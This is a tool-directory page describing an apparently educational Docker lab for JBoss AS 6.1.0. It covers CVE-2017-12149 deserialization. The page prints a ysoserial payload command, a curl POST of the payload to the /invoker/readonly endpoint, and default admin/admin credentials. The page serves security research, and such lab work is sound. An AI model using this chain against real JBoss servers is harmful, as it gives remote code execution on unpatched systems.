Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/galois17/cve-2017-12149-playground
Container SecurityVulnerability AnalysisWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubgalois17/cve-2017-12149-playground

cve-2017-12149-playground

Share

Containerized JBoss AS 6.1.0 research lab for demonstrating Java Deserialization (CVE-2017-12149) and JBoss Seam EL Injection vulnerabilities with pre-configured exploit verification steps.

View Repository
3510 months agoNot yet reviewed

Many critical industries (banking, healthcare, and manufacturing) rely on legacy middleware that was built to run specifically on JBoss 5 or 6. Because these applications are often too fragile to migrate to modern versions of WildFly (the successor to JBoss), organizations choose to "air-gap" or hide them behind VPNs rather than patching them. When those perimeter defenses fail, the vulnerability is still sitting there, live and unpatched.

JBoss AS 6.1.0 Vulnerability Research Lab

This repository provides a containerized JBoss Application Server 6.1.0 environment specifically configured for security research and vulnerability verification. It is designed to demonstrate Java Deserialization and JBoss Seam EL Injection flaws.


Quick Start

1. Build and Launch

To ensure the custom credentials and configurations are correctly applied, build the container from scratch:

docker-compose build --no-cache
docker-compose up -d

2. Access the Environment

JBoss Console: http://localhost:8080/admin-console/

Username: admin

Password: admin

Verified Vulnerabilities

1. Java Deserialization (CVE-2017-12149)

The most reliable exploit path in this environment is through the HTTPServerILServlet located at /invoker/readonly.

Verification Steps:

Generate a payload using ysoserial to create a file in /tmp:

java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser

Send the binary payload via curl:

curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly

Confirm the exploit worked:

docker exec -it jboss-custom-lab ls /tmp/pwned

Security Disclaimer This environment is intentionally vulnerable. It contains unpatched, end-of-life software.

DO NOT deploy this on a public-facing server.

DO NOT use these tools on systems you do not have explicit permission to test.

Developed for educational purposes and security research.

Dependencies: https://github.com/frohoff/ysoserial

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →